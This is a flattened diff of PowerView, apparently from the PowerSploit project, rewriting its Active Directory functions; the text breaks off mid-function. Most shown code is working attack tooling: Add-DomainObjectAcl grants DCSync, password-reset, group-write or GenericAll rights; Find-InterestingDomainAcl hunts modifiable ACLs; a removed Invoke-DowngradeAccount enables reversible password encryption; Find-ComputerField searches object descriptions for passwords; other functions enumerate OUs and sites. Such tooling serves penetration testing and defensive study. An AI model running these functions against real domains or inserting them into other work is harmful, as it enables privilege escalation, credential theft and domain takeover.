if($Canonical) { - $Domain = $Canonical.split("/")[0] - } - else { - Write-Warning "Error resolving SID '$SID'" - return $Null - } - } - } - catch { - Write-Warning "Error resolving SID '$SID' : $_" - return $Null - } + + BEGIN { + $TargetSearcherArguments = @{ + 'Properties' = 'distinguishedname' + 'Raw' = $True + } + if ($PSBoundParameters['TargetDomain']) { $TargetSearcherArguments['Domain'] = $TargetDomain } + if ($PSBoundParameters['TargetLDAPFilter']) { $TargetSearcherArguments['LDAPFilter'] = $TargetLDAPFilter } + if ($PSBoundParameters['TargetSearchBase']) { $TargetSearcherArguments['SearchBase'] = $TargetSearchBase } + if ($PSBoundParameters['Server']) { $TargetSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $TargetSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $TargetSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $TargetSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $TargetSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $TargetSearcherArguments['Credential'] = $Credential } + + $PrincipalSearcherArguments = @{ + 'Identity' = $PrincipalIdentity + 'Properties' = 'distinguishedname,objectsid' + } + if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain } + if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential } + $Principals = Get-DomainObject @PrincipalSearcherArguments + if (-not $Principals) { + throw "Unable to resolve principal: $PrincipalIdentity" } + } - $ObjectSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize + PROCESS { + $TargetSearcherArguments['Identity'] = $TargetIdentity + $Targets = Get-DomainObject @TargetSearcherArguments - if($ObjectSearcher) { - if($SID) { - $ObjectSearcher.filter = "(&(objectsid=$SID)$Filter)" - } - elseif($Name) { - $ObjectSearcher.filter = "(&(name=$Name)$Filter)" + ForEach ($TargetObject in $Targets) { + + $InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] 'None' + $ControlType = [System.Security.AccessControl.AccessControlType] 'Allow' + $ACEs = @() + + if ($RightsGUID) { + $GUIDs = @($RightsGUID) } - elseif($SamAccountName) { - $ObjectSearcher.filter = "(&(samAccountName=$SamAccountName)$Filter)" + else { + $GUIDs = Switch ($Rights) { + # ResetPassword doesn't need to know the user's current password + 'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' } + # allows for the modification of group membership + 'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' } + # 'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 + # 'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 + # 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640c + # when applied to a domain's ACL, allows for the use of DCSync + 'DCSync' { '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', '89e95b76-444d-4c62-991a-0facbeda640c'} + } } - $Results = $ObjectSearcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - if($ReturnRaw) { - $_ + ForEach ($PrincipalObject in $Principals) { + Write-Verbose "[Add-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) '$Rights' on $($TargetObject.Properties.distinguishedname)" + + try { + $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$PrincipalObject.objectsid) + + if ($GUIDs) { + ForEach ($GUID in $GUIDs) { + $NewGUID = New-Object Guid $GUID + $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'ExtendedRight' + $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $NewGUID, $InheritanceType + } + } + else { + # deault to GenericAll rights + $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'GenericAll' + $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $InheritanceType + } + + # add all the new ACEs to the specified object directory entry + ForEach ($ACE in $ACEs) { + Write-Verbose "[Add-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) rights GUID '$($ACE.ObjectType)' on $($TargetObject.Properties.distinguishedname)" + $TargetEntry = $TargetObject.GetDirectoryEntry() + $TargetEntry.PsBase.Options.SecurityMasks = 'Dacl' + $TargetEntry.PsBase.ObjectSecurity.AddAccessRule($ACE) + $TargetEntry.PsBase.CommitChanges() + } } - else { - # convert/process the LDAP fields for each result - Convert-LDAPProperty -Properties $_.Properties + catch { + Write-Warning "[Add-DomainObjectAcl] Error granting principal $($PrincipalObject.distinguishedname) '$Rights' on $($TargetObject.Properties.distinguishedname) : $_" } } - $Results.dispose() - $ObjectSearcher.dispose() } } } -function Set-ADObject { +function Find-InterestingDomainAcl { <# - .SYNOPSIS +.SYNOPSIS + +Finds object ACLs in the current (or specified) domain with modification +rights set to non-built in objects. + +Thanks Sean Metcalf (@pyrotek3) for the idea and guidance. - Takes a SID, name, or SamAccountName to query for a specified - domain object, and then sets a specified 'PropertyName' to a - specified 'PropertyValue'. +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObjectAcl, Get-DomainObject, Convert-ADName - .PARAMETER SID +.DESCRIPTION - The SID of the domain object you're querying for. +This function enumerates the ACLs for every object in the domain with Get-DomainObjectAcl, +and for each returned ACE entry it checks if principal security identifier +is *-1000 (meaning the account is not built in), and also checks if the rights for +the ACE mean the object can be modified by the principal. If these conditions are met, +then the security identifier SID is translated, the domain object is retrieved, and +additional IdentityReference* information is appended to the output object. - .PARAMETER Name +.PARAMETER Domain - The Name of the domain object you're querying for. +Specifies the domain to use for the query, defaults to the current domain. - .PARAMETER SamAccountName +.PARAMETER ResolveGUIDs - The SamAccountName of the domain object you're querying for. +Switch. Resolve GUIDs to their display names. - .PARAMETER Domain +.PARAMETER LDAPFilter - The domain to query for objects, defaults to the current domain. +Specifies an LDAP query string that is used to filter Active Directory objects. - .PARAMETER DomainController +.PARAMETER SearchBase - Domain controller to reflect LDAP queries through. +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. - .PARAMETER Filter +.PARAMETER Server - Additional LDAP filter string for the query. +Specifies an Active Directory server (domain controller) to bind to. - .PARAMETER PropertyName +.PARAMETER SearchScope - The property name to set. +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). - .PARAMETER PropertyValue +.PARAMETER ResultPageSize - The value to set for PropertyName +Specifies the PageSize to set for the LDAP searcher object. - .PARAMETER PropertyXorValue +.PARAMETER ServerTimeLimit - Integer value to binary xor (-bxor) with the current int value. +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - .PARAMETER ClearValue +.PARAMETER Tombstone - Switch. Clear the value of PropertyName +Switch. Specifies that the searcher should also return deleted/tombstoned objects. - .PARAMETER PageSize +.PARAMETER Credential - The PageSize to set for the LDAP searcher object. +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. - .PARAMETER Credential +.EXAMPLE - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. +Find-InterestingDomainAcl - .EXAMPLE +Finds interesting object ACLS in the current domain. - PS C:\> Set-ADObject -SamAccountName matt.admin -PropertyName countrycode -PropertyValue 0 - - Set the countrycode for matt.admin to 0 +.EXAMPLE - .EXAMPLE +Find-InterestingDomainAcl -Domain dev.testlab.local -ResolveGUIDs - PS C:\> Set-ADObject -SamAccountName matt.admin -PropertyName useraccountcontrol -PropertyXorValue 65536 - - Set the password not to expire on matt.admin +Finds interesting object ACLS in the ev.testlab.local domain and +resolves rights GUIDs to display names. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-InterestingDomainAcl -Credential $Cred -ResolveGUIDs + +.OUTPUTS + +PowerView.ACL + +Custom PSObject with ACL entries. #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.ACL')] [CmdletBinding()] Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DomainName', 'Name')] [String] - $SID, + $Domain, - [String] - $Name, + [Switch] + $ResolveGUIDs, [String] - $SamAccountName, + [ValidateSet('All', 'ResetPassword', 'WriteMembers')] + $RightsFilter, + [ValidateNotNullOrEmpty()] + [Alias('Filter')] [String] - $Domain, + $LDAPFilter, + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] [String] - $DomainController, + $SearchBase, + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] [String] - $Filter, + $Server, - [Parameter(Mandatory = $True)] + [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] - $PropertyName, + $SearchScope = 'Subtree', - $PropertyValue, + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + [ValidateRange(1, 10000)] [Int] - $PropertyXorValue, + $ServerTimeLimit, [Switch] - $ClearValue, - - [ValidateRange(1,10000)] - [Int] - $PageSize = 200, + $Tombstone, [Management.Automation.PSCredential] - $Credential + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - $Arguments = @{ - 'SID' = $SID - 'Name' = $Name - 'SamAccountName' = $SamAccountName - 'Domain' = $Domain - 'DomainController' = $DomainController - 'Filter' = $Filter - 'PageSize' = $PageSize - 'Credential' = $Credential - } - # splat the appropriate arguments to Get-ADObject - $RawObject = Get-ADObject -ReturnRaw @Arguments - - try { - # get the modifiable object for this search result - $Entry = $RawObject.GetDirectoryEntry() - - if($ClearValue) { - Write-Verbose "Clearing value" - $Entry.$PropertyName.clear() - $Entry.commitchanges() + BEGIN { + $ACLArguments = @{} + if ($PSBoundParameters['ResolveGUIDs']) { $ACLArguments['ResolveGUIDs'] = $ResolveGUIDs } + if ($PSBoundParameters['RightsFilter']) { $ACLArguments['RightsFilter'] = $RightsFilter } + if ($PSBoundParameters['LDAPFilter']) { $ACLArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['SearchBase']) { $ACLArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $ACLArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $ACLArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $ACLArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $ACLArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $ACLArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $ACLArguments['Credential'] = $Credential } + + $ObjectSearcherArguments = @{ + 'Properties' = 'samaccountname,objectclass' + 'Raw' = $True + } + if ($PSBoundParameters['Server']) { $ObjectSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $ObjectSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $ObjectSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $ObjectSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $ObjectSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $ObjectSearcherArguments['Credential'] = $Credential } + + $ADNameArguments = @{} + if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential } + + # ongoing list of built-up SIDs + $ResolvedSIDs = @{} + } + + PROCESS { + if ($PSBoundParameters['Domain']) { + $ACLArguments['Domain'] = $Domain + $ADNameArguments['Domain'] = $Domain } - elseif($PropertyXorValue) { - $TypeName = $Entry.$PropertyName[0].GetType().name + Get-DomainObjectAcl @ACLArguments | ForEach-Object { - # UAC value references- https://support.microsoft.com/en-us/kb/305144 - $PropertyValue = $($Entry.$PropertyName) -bxor $PropertyXorValue - $Entry.$PropertyName = $PropertyValue -as $TypeName - $Entry.commitchanges() - } + if ( ($_.ActiveDirectoryRights -match 'GenericAll|Write|Create|Delete') -or (($_.ActiveDirectoryRights -match 'ExtendedRight') -and ($_.AceQualifier -match 'Allow'))) { + # only process SIDs > 1000 + if ($_.SecurityIdentifier.Value -match '^S-1-5-.*-[1-9]\d{3,}$') { + if ($ResolvedSIDs[$_.SecurityIdentifier.Value]) { + $IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass = $ResolvedSIDs[$_.SecurityIdentifier.Value] - else { - $Entry.put($PropertyName, $PropertyValue) - $Entry.setinfo() + $InterestingACL = New-Object PSObject + $InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN + $InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier + $InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirectoryRights + if ($_.ObjectAceType) { + $InterestingACL | Add-Member NoteProperty 'ObjectAceType' $_.ObjectAceType + } + else { + $InterestingACL | Add-Member NoteProperty 'ObjectAceType' 'None' + } + $InterestingACL | Add-Member NoteProperty 'AceFlags' $_.AceFlags + $InterestingACL | Add-Member NoteProperty 'AceType' $_.AceType + $InterestingACL | Add-Member NoteProperty 'InheritanceFlags' $_.InheritanceFlags + $InterestingACL | Add-Member NoteProperty 'SecurityIdentifier' $_.SecurityIdentifier + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass + $InterestingACL + } + else { + $IdentityReferenceDN = Convert-ADName -Identity $_.SecurityIdentifier.Value -OutputType DN @ADNameArguments + # "IdentityReferenceDN: $IdentityReferenceDN" + + if ($IdentityReferenceDN) { + $IdentityReferenceDomain = $IdentityReferenceDN.SubString($IdentityReferenceDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + # "IdentityReferenceDomain: $IdentityReferenceDomain" + $ObjectSearcherArguments['Domain'] = $IdentityReferenceDomain + $ObjectSearcherArguments['Identity'] = $IdentityReferenceDN + # "IdentityReferenceDN: $IdentityReferenceDN" + $Object = Get-DomainObject @ObjectSearcherArguments + + if ($Object) { + $IdentityReferenceName = $Object.Properties.samaccountname[0] + if ($Object.Properties.objectclass -match 'computer') { + $IdentityReferenceClass = 'computer' + } + elseif ($Object.Properties.objectclass -match 'group') { + $IdentityReferenceClass = 'group' + } + elseif ($Object.Properties.objectclass -match 'user') { + $IdentityReferenceClass = 'user' + } + else { + $IdentityReferenceClass = $Null + } + + # save so we don't look up more than once + $ResolvedSIDs[$_.SecurityIdentifier.Value] = $IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass + + $InterestingACL = New-Object PSObject + $InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN + $InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier + $InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirectoryRights + if ($_.ObjectAceType) { + $InterestingACL | Add-Member NoteProperty 'ObjectAceType' $_.ObjectAceType + } + else { + $InterestingACL | Add-Member NoteProperty 'ObjectAceType' 'None' + } + $InterestingACL | Add-Member NoteProperty 'AceFlags' $_.AceFlags + $InterestingACL | Add-Member NoteProperty 'AceType' $_.AceType + $InterestingACL | Add-Member NoteProperty 'InheritanceFlags' $_.InheritanceFlags + $InterestingACL | Add-Member NoteProperty 'SecurityIdentifier' $_.SecurityIdentifier + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass + $InterestingACL + } + } + else { + Write-Warning "[Find-InterestingDomainAcl] Unable to convert SID '$($_.SecurityIdentifier.Value )' to a distinguishedname with Convert-ADName" + } + } + } + } } } - catch { - Write-Warning "Error setting property $PropertyName to value '$PropertyValue' for object $($RawObject.Properties.samaccountname) : $_" - } } -function Invoke-DowngradeAccount { +function Get-DomainOU { <# - .SYNOPSIS +.SYNOPSIS - Set reversible encryption on a given account and then force the password - to be set on next user login. To repair use "-Repair". +Search for all organization units (OUs) or specific OU objects in AD. - .PARAMETER SamAccountName +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty - The SamAccountName of the domain object you're querying for. +.DESCRIPTION - .PARAMETER Name +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. To only return specific properties, use +"-Properties whencreated,usnchanged,...". By default, all OU objects for +the current domain are returned. - The Name of the domain object you're querying for. +.PARAMETER Identity - .PARAMETER Domain +An OU name (e.g. TestOU), DistinguishedName (e.g. OU=TestOU,DC=testlab,DC=local), or +GUID (e.g. 8a9ba22a-8977-47e6-84ce-8c26af4e1e6a). Wildcards accepted. - The domain to query for objects, defaults to the current domain. +.PARAMETER GPLink - .PARAMETER DomainController +Only return OUs with the specified GUID in their gplink property. - Domain controller to reflect LDAP queries through. +.PARAMETER Domain - .PARAMETER Filter +Specifies the domain to use for the query, defaults to the current domain. - Additional LDAP filter string for the query. +.PARAMETER LDAPFilter - .PARAMETER Repair +Specifies an LDAP query string that is used to filter Active Directory objects. - Switch. Unset the reversible encryption flag and force password reset flag. +.PARAMETER Properties - .PARAMETER Credential +Specifies the properties of the output object to retrieve from the server. - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. +.PARAMETER SearchBase - .EXAMPLE +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. - PS> Invoke-DowngradeAccount -SamAccountName jason +.PARAMETER Server - Set reversible encryption on the 'jason' account and force the password to be changed. +Specifies an Active Directory server (domain controller) to bind to. - .EXAMPLE +.PARAMETER SearchScope - PS> Invoke-DowngradeAccount -SamAccountName jason -Repair +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). - Unset reversible encryption on the 'jason' account and remove the forced password change. -#> +.PARAMETER ResultPageSize - [CmdletBinding()] - Param ( - [Parameter(ParameterSetName = 'SamAccountName', Position=0, ValueFromPipeline=$True)] - [String] - $SamAccountName, - - [Parameter(ParameterSetName = 'Name')] - [String] - $Name, +Specifies the PageSize to set for the LDAP searcher object. - [String] - $Domain, - - [String] - $DomainController, +.PARAMETER ServerTimeLimit - [String] - $Filter, +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - [Switch] - $Repair, +.PARAMETER SecurityMasks - [Management.Automation.PSCredential] - $Credential - ) +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. - process { - $Arguments = @{ - 'SamAccountName' = $SamAccountName - 'Name' = $Name - 'Domain' = $Domain - 'DomainController' = $DomainController - 'Filter' = $Filter - 'Credential' = $Credential - } +.PARAMETER FindOne - # splat the appropriate arguments to Get-ADObject - $UACValues = Get-ADObject @Arguments | select useraccountcontrol | ConvertFrom-UACValue +Only return one result object. - if($Repair) { +.PARAMETER Tombstone - if($UACValues.Keys -contains "ENCRYPTED_TEXT_PWD_ALLOWED") { - # if reversible encryption is set, unset it - Set-ADObject @Arguments -PropertyName useraccountcontrol -PropertyXorValue 128 - } +Switch. Specifies that the searcher should also return deleted/tombstoned objects. - # unset the forced password change - Set-ADObject @Arguments -PropertyName pwdlastset -PropertyValue -1 - } +.PARAMETER Credential - else { +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. - if($UACValues.Keys -contains "DONT_EXPIRE_PASSWORD") { - # if the password is set to never expire, unset - Set-ADObject @Arguments -PropertyName useraccountcontrol -PropertyXorValue 65536 - } +.PARAMETER Raw - if($UACValues.Keys -notcontains "ENCRYPTED_TEXT_PWD_ALLOWED") { - # if reversible encryption is not set, set it - Set-ADObject @Arguments -PropertyName useraccountcontrol -PropertyXorValue 128 - } +Switch. Return raw results instead of translating the fields into a custom PSObject. - # force the password to be changed on next login - Set-ADObject @Arguments -PropertyName pwdlastset -PropertyValue 0 - } - } -} +.EXAMPLE +Get-DomainOU -function Get-ComputerProperty { -<# - .SYNOPSIS +Returns the current OUs in the domain. - Returns a list of all computer object properties. If a property - name is specified, it returns all [computer:property] values. +.EXAMPLE - Taken directly from @obscuresec's post: - http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html +Get-DomainOU *admin* -Domain testlab.local - .PARAMETER Properties +Returns all OUs with "admin" in their name in the testlab.local domain. - Return property names for computers. +.EXAMPLE - .PARAMETER Domain +Get-DomainOU -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272" - The domain to query for computer properties, defaults to the current domain. +Returns all OUs with linked to the specified group policy object. - .PARAMETER DomainController +.EXAMPLE - Domain controller to reflect LDAP queries through. +"*admin*","*server*" | Get-DomainOU - .PARAMETER PageSize +Search for OUs with the specific names. - The PageSize to set for the LDAP searcher object. +.EXAMPLE - .PARAMETER Credential +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainOU -Credential $Cred - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. +.OUTPUTS - .EXAMPLE +PowerView.OU - PS C:\> Get-ComputerProperty -Domain testing - - Returns all user properties for computers in the 'testing' domain. +Custom PSObject with translated OU property fields. +#> - .EXAMPLE + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.OU')] + [CmdletBinding()] + Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name')] + [String[]] + $Identity, - PS C:\> Get-ComputerProperty -Properties ssn,lastlogon,location - - Returns all an array of computer/ssn/lastlogin/location combinations - for computers in the current domain. + [ValidateNotNullOrEmpty()] + [String] + [Alias('GUID')] + $GPLink, - .LINK + [ValidateNotNullOrEmpty()] + [String] + $Domain, - http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html -#> + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, - [CmdletBinding()] - param( + [ValidateNotNullOrEmpty()] [String[]] $Properties, + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] [String] - $Domain, + $SearchBase, + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] [String] - $DomainController, + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, - [ValidateRange(1,10000)] + [ValidateRange(1, 10000)] [Int] - $PageSize = 200, + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, [Management.Automation.PSCredential] - $Credential + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw ) - if($Properties) { - # extract out the set of all properties for each object - $Properties = ,"name" + $Properties | Sort-Object -Unique - Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize | Select-Object -Property $Properties + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $OUSearcher = Get-DomainSearcher @SearcherArguments } - else { - # extract out just the property names - Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize | Select-Object -first 1 | Get-Member -MemberType *Property | Select-Object -Property "Name" - } -} - - -function Find-ComputerField { -<# - .SYNOPSIS - Searches computer object fields for a given word (default *pass*). Default - field being searched is 'description'. + PROCESS { + if ($OUSearcher) { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^OU=.*') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + } + else { + try { + $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + catch { + $IdentityFilter += "(name=$IdentityInstance)" + } + } + } + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } - Taken directly from @obscuresec's post: - http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html + if ($PSBoundParameters['GPLink']) { + Write-Verbose "[Get-DomainOU] Searching for OUs with $GPLink set in the gpLink property" + $Filter += "(gplink=*$GPLink*)" + } - .PARAMETER SearchTerm + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainOU] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } - Term to search for, default of "pass". + $OUSearcher.filter = "(&(objectCategory=organizationalUnit)$Filter)" + Write-Verbose "[Get-DomainOU] Get-DomainOU filter string: $($OUSearcher.filter)" - .PARAMETER SearchField + if ($PSBoundParameters['FindOne']) { $Results = $OUSearcher.FindOne() } + else { $Results = $OUSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $OU = $_ + } + else { + $OU = Convert-LDAPProperty -Properties $_.Properties + } + $OU.PSObject.TypeNames.Insert(0, 'PowerView.OU') + $OU + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainOU] Error disposing of the Results object: $_" + } + } + $OUSearcher.dispose() + } + } +} - User field to search in, default of "description". - .PARAMETER ADSpath +function Get-DomainSite { +<# +.SYNOPSIS - The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. +Search for all sites or specific site objects in AD. - .PARAMETER Domain +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty - Domain to search computer fields for, defaults to the current domain. +.DESCRIPTION - .PARAMETER DomainController +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. To only return specific properties, use +"-Properties whencreated,usnchanged,...". By default, all site objects for +the current domain are returned. - Domain controller to reflect LDAP queries through. +.PARAMETER Identity - .PARAMETER PageSize +An site name (e.g. Test-Site), DistinguishedName (e.g. CN=Test-Site,CN=Sites,CN=Configuration,DC=testlab,DC=local), or +GUID (e.g. c37726ef-2b64-4524-b85b-6a9700c234dd). Wildcards accepted. - The PageSize to set for the LDAP searcher object. +.PARAMETER GPLink - .PARAMETER Credential +Only return sites with the specified GUID in their gplink property. - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. +.PARAMETER Domain - .EXAMPLE +Specifies the domain to use for the query, defaults to the current domain. - PS C:\> Find-ComputerField -SearchTerm backup -SearchField info +.PARAMETER LDAPFilter - Find computer accounts with "backup" in the "info" field. -#> +Specifies an LDAP query string that is used to filter Active Directory objects. - [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$True)] - [Alias('Term')] - [String] - $SearchTerm = 'pass', +.PARAMETER Properties - [Alias('Field')] - [String] - $SearchField = 'description', +Specifies the properties of the output object to retrieve from the server. - [String] - $ADSpath, +.PARAMETER SearchBase - [String] - $Domain, +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. - [String] - $DomainController, +.PARAMETER Server - [ValidateRange(1,10000)] - [Int] - $PageSize = 200, +Specifies an Active Directory server (domain controller) to bind to. - [Management.Automation.PSCredential] - $Credential - ) +.PARAMETER SearchScope - process { - Get-NetComputer -ADSpath $ADSpath -Domain $Domain 